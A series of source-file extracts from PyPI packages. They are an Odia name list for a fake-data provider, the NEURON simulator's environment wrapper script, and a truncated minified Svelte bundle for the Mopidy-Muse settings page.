"ପ୍ରଦିପ୍ତ", "ପ୍ରଦୀପ୍ତ", "ପ୍ରଦ୍ୟୁମ୍ନ", "ପ୍ରଫୁଲ", "ପ୍ରଫୁଲ୍ଲ", "ପ୍ରଫେସର", "ପ୍ରବୀଣ", "ପ୍ରଭାକର", "ପ୍ରଭାତ", "ପ୍ରଭାସ", "ପ୍ରଭୁ", "ପ୍ରମୋଦ", "ପ୍ରଶାନ୍ତ", "ପ୍ରହଲ୍ଲାଦ", "ପ୍ରାଣ", "ପ୍ରିୟନାଥ", "ପ୍ରିୟା", "ପ୍ରୀତମ୍", "ପ୍ରୀତିରଞ୍ଜନ", "ପ୍ରେମାନନ୍ଦ", "ପ୍ୟାରୀମୋହନ", "ଫକୀର", "ବଂଶୀଧର", "ବଟକୃଷ୍ଣ", "ବଦ୍ରି", "ବଦ୍ରିନାରାୟଣ", "ବନବାସୀ", "ବନମାଳି", "ବନମାଳୀ", "ବବି", "ବରେନ୍ଦ୍ର", "ବଳଭଦ୍ର", "ବଳରାମ", "ବସେନ", "ବାଇକୋଳି", "ବାଇଧର", "ବାଙ୍କ", "ବାବୁ", "ବାବୁଶାନ୍", "ବାଳକୃଷ୍ଣ", "ବାଳକ୍ରିଷ୍ଣ", "ବାଳଗୋପାଳ", "ବାସୁଦେବ", "ବିକଳାନନ୍ଦ", "ବିକ୍ରମ", "ବିଜୁ", "ବିଜୟ", "ବିଜୟରଞ୍ଜନ", "ବିଜୟଶ୍ରୀ", "ବିଜୟାନନ୍ଦ", "ବିଧୁ", "ବିଧୁଭୂଷଣ", "ବିନୋଦ", "ବିପିନ", "ବିପ୍ଳବ", "ବିଭୁତି", "ବିଭୁଦତ୍ତ", "ବିଭୁଧେନ୍ଦ୍ର", "ବିଭୂତି", "ବିଭୂତିଭୂଷଣ", "ବିମଳ", "ବିରେନ", "ବିରେନ୍", "ବିଶ୍ୱଜିତ", "ବିଶ୍ୱନାଥ", "ବିଶ୍ୱଭୂଷଣ", "ବିଶ୍ୱରଞ୍ଜନ", "ବିଷ୍ଣୁ", "ବିଷ୍ଣୁବ୍ରତ", "ବିସ୍ମୟ", "ବୀର", "ବୀରକିଶୋର", "ବୀରଭଦ୍ର", "ବୀରେନ", "ବୀରେନ୍ଦ୍ରନାଥ", "ବୁଦ୍ଧାଦିତ୍ୟ", "ବୁଧନ", "ବୃନ୍ଦାବନ", "ବେଣୀମାଧବ", "ବେଣୁଧର", "ବେଦ", "ବେଦବ୍ୟାସ", "ବେଦାଙ୍ଗଦାସ", "ବୈଦ୍ୟନାଥ", "ବୈରାଗୀ", "ବୈଷ୍ଣବ", "ବୋନାଜ", "ବ୍ରଜ", "ବ୍ରହ୍ମାନନ୍ଦ", "ବ୍ୟୋମକେଶ", "ଭଗୀରଥ", "ଭଜମନ", "ଭବାନୀଶଙ୍କର", "ଭବେନ୍ଦ୍ରନାଥ", "ଭାଇଗା", "ଭାଗବତ", "ଭାଗିରଥୀ", "ଭାଗୀରଥି", "ଭାଦବ", "ଭାନୁଚରଣ", "ଭାବଗ୍ରାହୀ", "ଭାସ୍କର", "ଭୀମ", "ଭୁବନାନନ୍ଦ", "ଭୁବନେଶ୍ୱର", "ଭୂଜବଳ", "ଭୂପିନ୍ଦର", "ଭୂବନାନନ୍ଦ", "ଭୋକାଲି", "ମଙ୍ଗରାଜ", "ମଙ୍ଗଳ", "ମଦନ", "ମଦନମୋହନ", "ମଧୁସୂଦନ", "ମନମୋହନ", "ମନୋଜ", "ମନୋରଞ୍ଜନ", "ମନୋହର", "ମନ୍ମଥ", "ମହମ୍ମଦ", "ମହାଦେବ", "ମହୀଧର", "ମହେନ୍ଦ୍ର", "ମହେଶ", "ମହେଶ୍ୱର", "ମାଖନଲାଲ", "ମାଧବ", "ମାଧବାନନ୍ଦ", "ମାନସ", "ମାର୍କଣ୍ଡ", "ମାଲା", "ମାୟାଧର", "ମିତ୍ରଭାନୁ", "ମିଲନ", "ମିହିର", "ମୀନକେତନ", "ମୁକୁନ୍ଦ", "ମୁକେଶ", "ମୁନ୍ନା", "ମୁରଲୀ", "ମୂରଲୀଧର", "ମୃଣାଳ", "ମୃତ୍ୟୁଞ୍ଜୟ", "ମେହମୁଦ", "ମୋଚିରାମ", "ମୋହନ", "ଯଦୁମଣି", "ଯଦୁମଣୀ", "ଯାଦବ", "ଯୁଗଳ", "ଯୁଧିଷ୍ଠିର", "ଯୋଗେନ୍ଦ୍ର", "ଯୋଗେଶ", "ରଂଜନ", "ରଘୁନନ୍ଦନ", "ରଘୁନାଥ", "ରଘୁରାମ", "ରଜନୀ", "ରଜନୀକାନ୍ତ", "ରଞ୍ଜିତ", "ରଞ୍ଜୀବ", "ରଣେନ୍ଦ୍ର", "ରତ୍ନ", "ରତ୍ନାକର", "ରଥ", "ରବି", "ରବିନାରାୟଣ", "ରବିନ୍ଦ୍ର", "ରବୀନ୍ଦ୍ର", "ରମାକାନ୍ତ", "ରମେଶ", "ରସାନନ୍ଦ", "ରାଇଚରଣ", "ରାଇମୋହନ", "ରାକେଶ", "ରାଖାଲ", "ରାଘବ", "ରାଜ", "ରାଜକିଶୋର", "ରାଜକୃଷ୍ଣ", "ରାଜୀବ", "ରାଜୁ", "ରାଜେନ୍ଦ୍ର", "ରାଜେଶ୍ୱରୀ", "ରାଧାକାନ୍ତ", "ରାଧାକୃଷ୍ଣ", "ରାଧାମୋହନ", "ରାଧୁ", "ରାମ", "ରାମଚନ୍ଦ୍ର", "ରାମରାୟ", "ରିପୁନାଥ", "ରିଷଭ", "ରୁଦ୍ର", "ରୋମାଞ୍ଚ", "ରୋହିତ", "ରୋହିଦାସ", "ଲକ୍ଷ୍ମଣ", "ଲକ୍ଷ୍ମୀକାନ୍ତ", "ଲକ୍ଷ୍ମୀଧର", "ଲଡ଼ୁ", "ଲମ୍ବୋଦର", "ଲଳିତ", "ଲଳିତେନ୍ଦୁ", "ଲାଲ", "ଲାଲବିହାରୀ", "ଲାଲା", "ଲିଙ୍ଗରାଜ", "ଲୋକନାଥ", "ଶଇବ", "ଶତ୍ରୁଘ୍ନ", "ଶମ୍ଭୁନାଥ", "ଶରତ", "ଶରଦ", "ଶଶି", "ଶଶିକାନ୍ତ", "ଶଶିଭୂଷଣ", "ଶାନ୍ତନୁ", "ଶାନ୍ତିରାଜ", "ଶାରଦା", "ଶିବବ୍ରତ", "ଶିବଶଙ୍କର", "ଶିବସୁନ୍ଦର", "ଶିବାଜୀ", "ଶିଶିର", "ଶୁକଦେବ", "ଶେକ", "ଶୈଳେନ୍ଦ୍ର", "ଶୋଭରାମ", "ଶ୍ରୀକାନ୍ତ", "ଶ୍ରୀତମ", "ଶ୍ରୀଦେବ", "ଶ୍ରୀଧର", "ଶ୍ରୀନାଥ", "ଶ୍ରୀରାମ", "ଶ୍ୟାମ", "ଶ୍ୟାମଘନ", "ଶ୍ୟାମଳେନ୍ଦୁ", "ଶ୍ୟାମସୁନ୍ଦର", "ସଂଗ୍ରାମ", "ସଉରା", "ସକିଲା", "ସଚ୍ଚି", "ସଞ୍ଜିବ", "ସଞ୍ଜୀବ", "ସଞ୍ଜୟ", "ସତ୍ୟନାରାୟଣ", "ସତ୍ୟପ୍ରିୟ", "ସତ୍ୟବାଦୀ", "ସତ୍ୟବ୍ରତ", "ସତ୍ୟଭାମା", "ସତ୍ୟଭୂଷଣ", "ସତ୍ୟସୁନ୍ଦର", "ସତ୍ୟାନନ୍ଦ", "ସଦନ", "ସଦାଶିବ", "ସନତ", "ସନାତନ", "ସନ୍ତୋଷ", "ସମରେନ୍ଦ୍ର", "ସମରେଶ", "ସମଲ", "ସମୀର", "ସମ୍ପଦ", "ସମ୍ବିତ", "ସରୋଜ", "ସରୋଜକାନ୍ତ", "ସରୋଜିନୀ", "ସଲିଲ", "ସହରାଇ", "ସାଗର", "ସାଗୀର", "ସାଧୁ", "ସାନନ୍ଦ", "ସାମୁଏଲ", "ସାରଦା", "ସାଲଖାନ", "ସାଲବେଗ", "ସାଲୁଜା", "ସାହେବ", "ସିକନ୍ଦର", "ସିଦ୍ଧଲାଲ", "ସିଦ୍ଧାନ୍ତ", "ସିଦ୍ଧାର୍ଥ", "ସୀତାକାନ୍ତ", "ସୁକାନ୍ତ", "ସୁକୁଡା", "ସୁକୁମାର", "ସୁଜିତ", "ସୁଦର୍ଶନ", "ସୁଦାମ", "ସୁଧାଂଶୁ", "ସୁଧାକର", "ସୁଧୀର", "ସୁନୀଲ", "ସୁନ୍ଦର", "ସୁବର୍ଣ୍ଣ", "ସୁବାଶ", "ସୁବାଷ", "ସୁବାସ", "ସୁବୋଧ", "ସୁବ୍ରତ", "ସୁମନ", "ସୁର", "ସୁରେନ୍ଦ୍ର", "ସୁରେନ୍ଦ୍ରନାଥ", "ସୁରେଶ", "ସୁଶାନ୍ତ", "ସୁଶୀଳ", "ସୂର୍ଯ୍ୟ", "ସୂର୍ଯ୍ୟମଣି", "ସୋମେଶ", "ସୌଭିକ", "ସୌମ୍ୟ", "ସ୍ୱରାଜ", "ସ୍ୱରୂପ", "ହର", "ହରମୋହନ", "ହରିଚରଣ", "ହରିପ୍ରସାଦ", "ହରିହର", "ହରେକୃଷ୍ଣ", "ହାଡ଼ି", "ହାଡ଼ିବନ୍ଧୁ", "ହିମାଂଶୁ", "ହେମନ୍ତ", "ହୋମସିଂହ", ) first_names = first_names_male + first_names_female + first_names_unisex middle_names = ( "ଅଲ୍ଲୀ", "କିଶୋର", "କୃଷ୍ଣ", "କେତନ", "କେଶରୀ", "ଚନ୍ଦ୍ର", "ଚରଣ", "ତିଆଡ଼ି", "ନାଥ", "ବଲ୍ଲଭ", "ବିଦ୍ୟାଧର", "ବିହାରି", "ବିହାରୀ", "ଭଞ୍ଜ", "ଭାରତୀ", "ଭୂଷଣ", "ମଂଜରୀ", "ମଞ୍ଜରୀ", "ମତଲୁବ", "ମାଧବ", "ମାନସିଂହ", "ମୋହନ", "ଯୋଶେଫ୍", "ରାଣୀ", "ରାଧାରାଣୀ", "ଲକ୍ଷ୍ମୀପ୍ରିୟା", "ଲେଖା", "ଲୋଚନ", "ଶଙ୍କର", "ଶେଖର", "ଶ୍ରୀ", "ସବ୍ୟସାଚୀ", "ସାରଥି", "ସାରଥୀ", "ସିଂ", "ସିଂହ", "ସୁନ୍ଦରସୁର୍ଯ୍ୟା", ) last_names = ( "ଅଗରୱାଲ", "ଅଗ୍ନିବେଶ", "ଅଗ୍ରୱାଲ", "ଅତାହାର", "ଅମାତ", "ଅଲୀ", "ଅହମଦ", "ଆଚାର୍ଯ୍ୟ", "ଆଦେନୀ", "ଆନନ୍ଦ", "ଆଲାମ", "ଇସଲାମ", "ଉଲ୍ଲାକା", "ଏକ୍କା", "ଓଝା", "ଓରାମ", "କଅଁର", "କର", "କହଁର", "କାଡାମ୍", "କାଡ୍ରାକା", "କାନୁନଗୋ", "କିନ୍ନାଗି", "କିଶାନ", "କିଷାନ", "କୁଅଁର", "କୁଣ୍ଡୁ", "କୁମାର", "କୁଲଦୀପ୍", "କୁଲେସିକା", "ଖଟୁଆ", "ଖାଁ", "ଖାନ", "ଖୁଣ୍ଟିଆ", "ଖୋସଲା", "ଗଜପତି", "ଗଡନାୟକ", "ଗଡ଼ତିଆ", "ଗଡ଼ନାୟକ", "ଗଣପତି", "ଗଣ୍ଡ", "ଗମାଙ୍ଗ", "ଗରଡ଼ିଆ", "ଗର୍ଦ୍ଦା", "ଗିରି", "ଗୁରୁ", "ଗୋସ୍ୱାମୀ", "ଗୌତମ", "ଗୌନ୍ତିଆ", "ଘଡ଼ାଇ", "ଘଡ଼େଇ", "ଘୋଷ", "ଚକ୍ରବର୍ତ୍ତୀ", "ଚଣ୍ଡ", "ଚମ୍ପତିରାୟ", "ଚାଟାର୍ଜି", "ଚିରଞ୍ଜୀବି", "ଚୌଧୁରୀ", "ଚୌରାଶିଆ", "ଛତ୍ରିଆ", "ଛୁରିଆ", "ଛୋଟରାୟ", "ଛୋଲିଆ", "ଜଗଡାଲ", "ଜଗଦେବ", "ଜାନୀ", "ଜେନା", "ଜୈନ", "ଝୋଡ଼ିଆ", "ଟିକାୟତ", "ଟୁଡୁ", "ଟେଟେ", "ଡାଙ୍ଗ", "ଢ଼ୋଲକିଆ", "ଢାଲି", "ତନ୍ତି", "ତରାଇ", "ତିଆଡ଼ି", "ତିରିୟା", "ତିର୍କୀ", "ତେଜ", "ତ୍ରିପାଠୀ", "ଥାପା", "ଦତ୍ତ", "ଦରାଇ", "ଦଳବେହେରା", "ଦାଶ", "ଦାସ", "ଦାସନାୟକ", "ଦାସବର୍ମା", "ଦିଆନ", "ଦିଶାରୀ", "ଦୀପ", "ଦୁରିଆ", "ଦୁଲାଳୀ", "ଦେ", "ଦେଇ", "ଦେଓ", "ଦେବ", "ଦେବତା", "ଦେବି", "ଦେବୀ", "ଦେହୁରୀ", "ଦୋରା", "ଦ୍ୟାନସାମନ୍ତରାୟ", "ଦ୍ୱିବେଦୀ", "ଧଡ଼ା", "ଧଡା", "ଧଳ", "ନନ୍ଦ", "ନନ୍ଦି", "ନାଏକ", "ନାଗ", "ନାଗେଶ", "ନାଥ", "ନାହାକ", "ନାୟକ", "ନିଆଲ", "ପଟୁଆ", "ପଟ୍ଟନାୟକ", "ପଣ୍ଡା", "ପଣ୍ଡିତ", "ପତି", "ପମ", "ପରବୀନ", "ପରମାଣିକ", "ପରିଜା", "ପରିଡ଼ା", "ପରିଡା", "ପଲେଇ", "ପଲ୍ଲାଇ", "ପାଇକରାୟ", "ପାଙ୍ଗୀ", "ପାଢ଼ୀ", "ପାଣି", "ପାଣିଗ୍ରାହୀ", "ପାତ୍ର", "ପାଲ", "ପାଲିତ", "ପାଳ", "ପୁଜାରୀ", "ପୁଟୀ", "ପୁରୋହିତ", "ପୂଜାରୀ", "ପୃଷ୍ଟି", "ପୋଡାଲ", "ପୋଦ୍ଦାର", "ପ୍ରତିହାରୀ", "ପ୍ରଧାନ", "ପ୍ରଧାନୀ", "ପ୍ରହରାଜ", "ପ୍ରିୟଦର୍ଶିନୀ", "ବକା", "ବଗର୍ତ୍ତି", "ବଡ଼ଜେନା", "ବରାଳ", "ବରିହା", "ବର୍ମା", "ବଳ", "ବଳବନ୍ତରାୟ", "ବଳସାମନ୍ତ", "ବଳିଆରସିଂହ", "ବଳୀୟାରସିଂହ", "ବସନ୍ତ", "ବସୁ", "ବସ୍ତିଆ", "ବାଗ", "ବାନାର୍ଜୀ", "ବାବୁ", "ବାରିକ", "ବାର୍ଲା", "ବାହିନୀପତି", "ବାହୁବଳେନ୍ଦ୍ର", "ବିଜୁଳି", "ବିଦ୍ୟାଧର", "ବିଶୋୟୀ", "ବିଶ୍ୱାଳ", "ବୀର", "ବେଉରା", "ବେହୁରା", "ବେହେରା", "ବୈଦ୍ୟ", "ବୋଷ", "ବ୍ରହ୍ମା", "ବ୍ୟାସ", "ଭଞ୍ଜ", "ଭଞ୍ଜଦେଓ", "ଭଟ୍ଟାଚାର୍ଯ୍ୟ", "ଭୂୟାଁ", "ଭୋଇ", "ମଙ୍ଗରାଜ", "ମଢ଼େଇ", "ମଣ୍ଡଳ", "ମର୍ଦ୍ଦରାଜ", "ମଲିକ", "ମଲ୍ଲ", "ମଲ୍ଲିକ", "ମହନ୍ତ", "ମହସୀନ", "ମହାକୁଡ଼", "ମହାନନ୍ଦ", "ମହାନ୍ତି", "ମହାପାତ୍ର", "ମହାରଣା", "ମହାରଥୀ", "ମହାଲିଙ୍ଗା", "ମହାଳିକ", "ମାଝି", "ମାଝୀ", "ମାଢ଼ୀ", "ମାଢ଼େଇ", "ମାନସିଂହ", "ମାନ୍ଧାତା", "ମାରାଣ୍ଡି", "ମିଞ୍ଜ୍", "ମିତ୍ର", "ମିର୍ଦ୍ଧା", "ମିଶ୍ର", "ମୁକ୍କିମ", "ମୁଖାର୍ଜୀ", "ମୁଣ୍ଡା", "ମୁଦି", "ମୁଦୁଲି", "ମୁର୍ମୁ", "ମୁସୀର", "ମେହେଟା", "ମେହେର", "ମୋକିମ୍", "ରଞ୍ଜନ", "ରଣସିଂହ", "ରଣା", "ରଥ", "ରନ୍ଧାରୀ", "ରମଣୀ", "ରାଉତ", "ରାଉତରାୟ", "ରାଉଳ", "ରାଓ", "ରାଜ", "ରାଜନ୍", "ରାମ", "ରାୟ", "ରାୟଚୌଧୁରୀ", "ରେଡ୍ଡି", "ରୋହିଦାସ", "ଲାକ୍ରା", "ଲାଗୁରୀ", "ଲାଠ", "ଲାଲ", "ଲେଙ୍କା", "ଲୋକ", "ଶତପଥୀ", "ଶର୍ମା", "ଶାନ୍ତା", "ଶ୍ରୀଚନ୍ଦନ", "ଷଡ଼ଙ୍ଗୀ", "ସଙ୍ଗୀତା", "ସର୍ଖେଲ", "ସର୍ଦ୍ଦାର", "ସାଇ", "ସାଉଣ୍ଟା", "ସାମନ୍ତ", "ସାମନ୍ତରାୟ", "ସାମଲ", "ସାରକା", "ସାଲୁଜା", "ସାହୁ", "ସିଂ", "ସିଂଦେଓ", "ସିଂହ", "ସିଂହଦେଓ", "ସିଦୁ", "ସିଧୁ", "ସିପ୍କା", "ସିହ୍ନା", "ସୁବାହୁ", "ସେଟି", "ସେଠ", "ସେଠୀ", "ସେଠ୍", "ସେନ", "ସେନାପତି", "ସୋଡ଼ି", "ସୋରେନ", "ସୋରେନ୍", "ସୌର୍ଯ୍ୟା", "ସ୍ବାଇଁ", "ସ୍ୱାଇଁ", "ହଇବୁରୁ", "ହନିଫ", "ହରିଚନ୍ଦନ", "ହାଁସଦା", "ହାଇବ୍ରୁ", "ହିକୋକା", "ହିକ୍କା", "ହିମିରିକା", "ହୁସେନ", "ହେମ୍ବ୍ରମ", "ହୋତା", ) prefixes_female = ( "ସୁଶ୍ରୀ", "ଶ୍ରୀମତୀ", "କୁମାରୀ", ) prefixes_male = ( "ଶ୍ରୀ", "ଶ୍ରୀମାନ", "ଶ୍ରୀଯୁକ୍ତ", ) def first_name_unisex(self) -> str: return self.random_element(self.first_names_unisex) def middle_name(self) -> str: return self.random_element(self.middle_names)
PypiClean
/NEURON-9.0a0-cp311-cp311-macosx_10_15_x86_64.whl/NEURON-9.0a0.data/scripts/nrnpyenv.sh
import os import shutil import subprocess import sys from pkg_resources import working_set from setuptools.command.build_ext import new_compiler from packaging.version import Version from sysconfig import get_config_vars, get_config_var from find_libpython import find_libpython def _customize_compiler(compiler): """Do platform-specific customizations of compilers on unix platforms.""" if compiler.compiler_type == "unix": (cc, cxx, cflags) = get_config_vars("CC", "CXX", "CFLAGS") if "CC" in os.environ: cc = os.environ["CC"] if "CXX" in os.environ: cxx = os.environ["CXX"] if "CFLAGS" in os.environ: cflags = cflags + " " + os.environ["CFLAGS"] cc_cmd = cc + " " + cflags # We update executables in compiler to take advantage of distutils arg splitting compiler.set_executables(compiler=cc_cmd, compiler_cxx=cxx) def _set_default_compiler(): """Set (dont overwrite) CC/CXX so that apps dont use the build-time ones""" ccompiler = new_compiler() _customize_compiler(ccompiler) # xcrun wrapper must bring all args if ccompiler.compiler[0] == "xcrun": ccompiler.compiler[0] = get_config_var("CC") ccompiler.compiler_cxx[0] = get_config_var("CXX") os.environ.setdefault("CC", ccompiler.compiler[0]) os.environ.setdefault("CXX", ccompiler.compiler_cxx[0]) def _check_cpp_compiler_version(): """Check if GCC compiler is >= 9.0 otherwise show warning""" try: cpp_compiler = os.environ.get("CXX", "") version = subprocess.run( [cpp_compiler, "--version"], stdout=subprocess.PIPE ).stdout.decode("utf-8") if "GCC" in version: version = subprocess.run( [cpp_compiler, "-dumpversion"], stdout=subprocess.PIPE ).stdout.decode("utf-8") if Version(version) <= Version("9.0"): print( "Warning: GCC >= 9.0 is required with this version of NEURON but found", version, ) except: pass def _config_exe(exe_name): """Sets the environment to run the real executable (returned)""" package_name = "neuron" # determine package to find the install location if "neuron-nightly" in working_set.by_key: print("INFO : Using neuron-nightly Package (Developer Version)") package_name = "neuron-nightly" elif "neuron" in working_set.by_key: package_name = "neuron" else: raise RuntimeError("NEURON package not found! Verify PYTHONPATH") NRN_PREFIX = os.path.join( working_set.by_key[package_name].location, "neuron", ".data" ) os.environ["NEURONHOME"] = os.path.join(NRN_PREFIX, "share/nrn") os.environ["NRNHOME"] = NRN_PREFIX os.environ["CORENRNHOME"] = NRN_PREFIX os.environ["NRN_PYTHONEXE"] = sys.executable os.environ["CORENRN_PYTHONEXE"] = sys.executable os.environ["CORENRN_PERLEXE"] = shutil.which("perl") os.environ["NRNBIN"] = os.path.dirname(__file__) if "NMODLHOME" not in os.environ: os.environ["NMODLHOME"] = NRN_PREFIX if "NMODL_PYLIB" not in os.environ: os.environ["NMODL_PYLIB"] = find_libpython() _set_default_compiler() return os.path.join(NRN_PREFIX, "bin", exe_name) def _wrap_executable(output_name): """Create a wrapper for an executable in same dir. Requires renaming the original file. Executables are typically found under arch_name """ release_dir = os.path.join(os.environ["NEURONHOME"], "demo/release") arch_name = next(os.walk(release_dir))[1][0] # first dir file_path = os.path.join(arch_name, output_name) shutil.move(file_path, file_path + ".nrn") shutil.copy(__file__, file_path) if __name__ == "__main__": exe = _config_exe(os.path.basename(sys.argv[0])) if exe.endswith("nrnivmodl"): # To create a wrapper for special (so it also gets ENV vars) we intercept nrnivmodl _check_cpp_compiler_version() subprocess.check_call([exe, *sys.argv[1:]]) _wrap_executable("special") sys.exit(0) if exe.endswith("special"): exe = os.path.join( sys.argv[0] + ".nrn" ) # original special is renamed special.nrn os.execv(exe, sys.argv)
PypiClean
/Mopidy-Muse-0.0.27.tar.gz/Mopidy-Muse-0.0.27/mopidy_muse/static/client/settings.23d6eae0.js
import{S as e,a as s,s as l,b as t,H as a,l as c,V as o,W as r,B as i,C as n,j as p,ay as d,e as v,t as h,d as u,w as f,f as y,g as m,n as b,h as j,x as q,k as g,m as E,p as x,az as k,z as I,q as D,E as V,D as $,v as L,L as S,o as P,U as T,X as w,ad as H,aA as N,$ as _,aB as B,aC as z,aD as O,aE as U,aF as C,aG as A,aH as M,aI as R,ac as F}from"./client.e7d5d3df.js";function G(e){t(e,"svelte-1yjq2pc",'.input.svelte-1yjq2pc.svelte-1yjq2pc{-moz-appearance:none;-webkit-appearance:none;align-items:center;border:1px solid transparent;border-radius:4px;box-shadow:none;display:inline-flex;font-size:1rem;height:2.5em;justify-content:flex-start;line-height:1.5;padding-bottom:calc(0.5em - 1px);padding-left:calc(0.75em - 1px);padding-right:calc(0.75em - 1px);padding-top:calc(0.5em - 1px);position:relative;vertical-align:top}.input.is-rounded.svelte-1yjq2pc.svelte-1yjq2pc{border-radius:290486px;padding-left:calc(calc(0.75em - 1px) + 0.375em);padding-right:calc(calc(0.75em - 1px) + 0.375em)}.input.svelte-1yjq2pc.svelte-1yjq2pc{background-color:white;border-color:#dbdbdb;border-radius:4px;color:#363636}.input.svelte-1yjq2pc.svelte-1yjq2pc::-moz-placeholder{color:rgba(54, 54, 54, 0.3)}.input.svelte-1yjq2pc.svelte-1yjq2pc::-webkit-input-placeholder{color:rgba(54, 54, 54, 0.3)}.input.svelte-1yjq2pc.svelte-1yjq2pc:-moz-placeholder{color:rgba(54, 54, 54, 0.3)}.input.svelte-1yjq2pc.svelte-1yjq2pc:-ms-input-placeholder{color:rgba(54, 54, 54, 0.3)}.input.svelte-1yjq2pc.svelte-1yjq2pc:hover{border-color:#b5b5b5}.input.svelte-1yjq2pc.svelte-1yjq2pc:focus{border-color:#3273dc;box-shadow:0 0 0 0.125em rgba(50, 115, 220, 0.25)}.input.svelte-1yjq2pc.svelte-1yjq2pc{box-shadow:inset 0 0.0625em 0.125em rgba(10, 10, 10, 0.05);max-width:100%;width:100%}.field.svelte-1yjq2pc.svelte-1yjq2pc:not(:last-child){margin-bottom:0.75rem}.label.svelte-1yjq2pc.svelte-1yjq2pc{color:#363636;display:block;font-size:1rem;font-weight:700}.label.svelte-1yjq2pc.svelte-1yjq2pc:not(:last-child){margin-bottom:0.5em}.control.svelte-1yjq2pc.svelte-1yjq2pc{box-sizing:border-box;clear:both;font-size:1rem;position:relative;text-align:left}.select.svelte-1yjq2pc.svelte-1yjq2pc:not(.is-multiple):not(.is-loading)::after{border:3px solid transparent;border-radius:2px;border-right:0;border-top:0;content:" ";display:block;height:0.625em;margin-top:-0.4375em;pointer-events:none;position:absolute;top:50%;transform:rotate(-45deg);transform-origin:center;width:0.625em}.select.svelte-1yjq2pc select.svelte-1yjq2pc{-moz-appearance:none;-webkit-appearance:none;align-items:center;border:1px solid transparent;border-radius:4px;box-shadow:none;display:inline-flex;font-size:1rem;height:2.5em;justify-content:flex-start;line-height:1.5;padding-bottom:calc(0.5em - 1px);padding-left:calc(0.75em - 1px);padding-right:calc(0.75em - 1px);padding-top:calc(0.5em - 1px);position:relative;vertical-align:top}.field.is-grouped.svelte-1yjq2pc.svelte-1yjq2pc{display:flex;justify-content:flex-start}.field.is-grouped.svelte-1yjq2pc>.control.svelte-1yjq2pc{flex-shrink:0}.field.is-grouped.svelte-1yjq2pc>.control.svelte-1yjq2pc:not(:last-child){margin-bottom:0;margin-right:0.75rem}.field.is-grouped.is-grouped-multiline.svelte-1yjq2pc.svelte-1yjq2pc{flex-wrap:wrap}.field.is-grouped.is-grouped-multiline.svelte-1yjq2pc>.control.svelte-1yjq2pc:last-child,.field.is-grouped.is-grouped-multiline.svelte-1yjq2pc>.control.svelte-1yjq2pc:not(:last-child){margin-bottom:0.75rem}.field.is-grouped.is-grouped-multiline.svelte-1yjq2pc.svelte-1yjq2pc:last-child{margin-bottom:-0.75rem}.field.is-grouped.is-grouped-multiline.svelte-1yjq2pc.svelte-1yjq2pc:not(:last-child){margin-bottom:0}.field.has-addons .control.svelte-1yjq2pc:not(:first-child):not(:last-child) .button.svelte-1yjq2pc,.field.has-addons .control.svelte-1yjq2pc:not(:first-child):not(:last-child) .input.svelte-1yjq2pc{border-radius:0}.field.has-addons .control.svelte-1yjq2pc:first-child:not(:only-child) .button.svelte-1yjq2pc,.field.has-addons .control.svelte-1yjq2pc:first-child:not(:only-child) .input.svelte-1yjq2pc{border-bottom-right-radius:0;border-top-right-radius:0}.field.has-addons .control.svelte-1yjq2pc:last-child:not(:only-child) .button.svelte-1yjq2pc,.field.has-addons .control.svelte-1yjq2pc:last-child:not(:only-child) .input.svelte-1yjq2pc{border-bottom-left-radius:0;border-top-left-radius:0}.field.has-addons .control.svelte-1yjq2pc .button.svelte-1yjq2pc:not([disabled]):hover,.field.has-addons .control.svelte-1yjq2pc .input.svelte-1yjq2pc:not([disabled]):hover{z-index:2}.field.has-addons .control.svelte-1yjq2pc .button.svelte-1yjq2pc:not([disabled]):focus,.field.has-addons .control.svelte-1yjq2pc .button.svelte-1yjq2pc:not([disabled]):active,.field.has-addons .control.svelte-1yjq2pc .input.svelte-1yjq2pc:not([disabled]):focus,.field.has-addons .control.svelte-1yjq2pc .input.svelte-1yjq2pc:not([disabled]):active{z-index:3}.field.has-addons .control.svelte-1yjq2pc .button.svelte-1yjq2pc:not([disabled]):focus:hover,.field.has-addons .control.svelte-1yjq2pc .button.svelte-1yjq2pc:not([disabled]):active:hover,.field.has-addons .control.svelte-1yjq2pc .input.svelte-1yjq2pc:not([disabled]):focus:hover,.field.has-addons .control.svelte-1yjq2pc .input.svelte-1yjq2pc:not([disabled]):active:hover{z-index:4}')}function W(e){let s,l,t,d={ctx:e,current:null,token:null,hasCatch:!0,pending:K,then:J,catch:X,value:16,error:17,blocks:[,,,]};return o(l=e[0],d),{c(){s=a(),d.block.c()},l(e){s=a(),d.block.l(e)},m(e,l){c(e,s,l),d.block.m(e,d.anchor=l),d.mount=(()=>s.parentNode),d.anchor=s,t=!0},p(s,t){e=s,d.ctx=e,1&t&&l!==(l=e[0])&&o(l,d)||r(d,e,t)},i(e){t||(i(d.block),t=!0)},o(e){for(let e=0;e<3;e+=1){const s=d.blocks[e];n(s)}t=!1},d(e){e&&p(s),d.block.d(e),d.token=null,d=null}}}function X(e){let s,l,t=e[17].message+"";return{c(){s=v("button"),l=h(t),this.h()},l(e){s=y(e,"BUTTON",{class:!0});var a=m(s);l=b(a,t),a.forEach(p),this.h()},h(){g(s,"class","button is-danger svelte-1yjq2pc"),s.disabled=!0},m(e,t){c(e,s,t),E(s,l)},p(e,s){1&s&&t!==(t=e[17].message+"")&&P(l,t)},i:T,o:T,d(e){e&&p(s)}}}function J(e){let s,l,t=e[16]+"";return{c(){s=v("button"),l=h(t),this.h()},l(e){s=y(e,"BUTTON",{class:!0});var a=m(s);l=b(a,t),a.forEach(p),this.h()},h(){g(s,"class","button is-success svelte-1yjq2pc"),s.disabled=!0},m(e,t){c(e,s,t),E(s,l)},p(e,s){1&s&&t!==(t=e[16]+"")&&P(l,t)},i:T,o:T,d(e){e&&p(s)}}}function K(e){let s,l,t;return l=new w({props:{icon:H,spin:!0,class:"icon"}}),{c(){s=v("button"),f(l.$$.fragment),this.h()},l(e){s=y(e,"BUTTON",{class:!0});var t=m(s);q(l.$$.fragment,t),t.forEach(p),this.h()},h(){g(s,"class","button svelte-1yjq2pc")},m(e,a){c(e,s,a),I(l,s,null),t=!0},p:T,i(e){t||(i(l.$$.fragment,e),t=!0)},o(e){n(l.$$.fragment,e),t=!1},d(e){e&&p(s),$(l)}}}function Q(e){let s,l,t,d={ctx:e,current:null,token:null,hasCatch:!0,pending:ee,then:Z,catch:Y,value:16,error:17,blocks:[,,,]};return 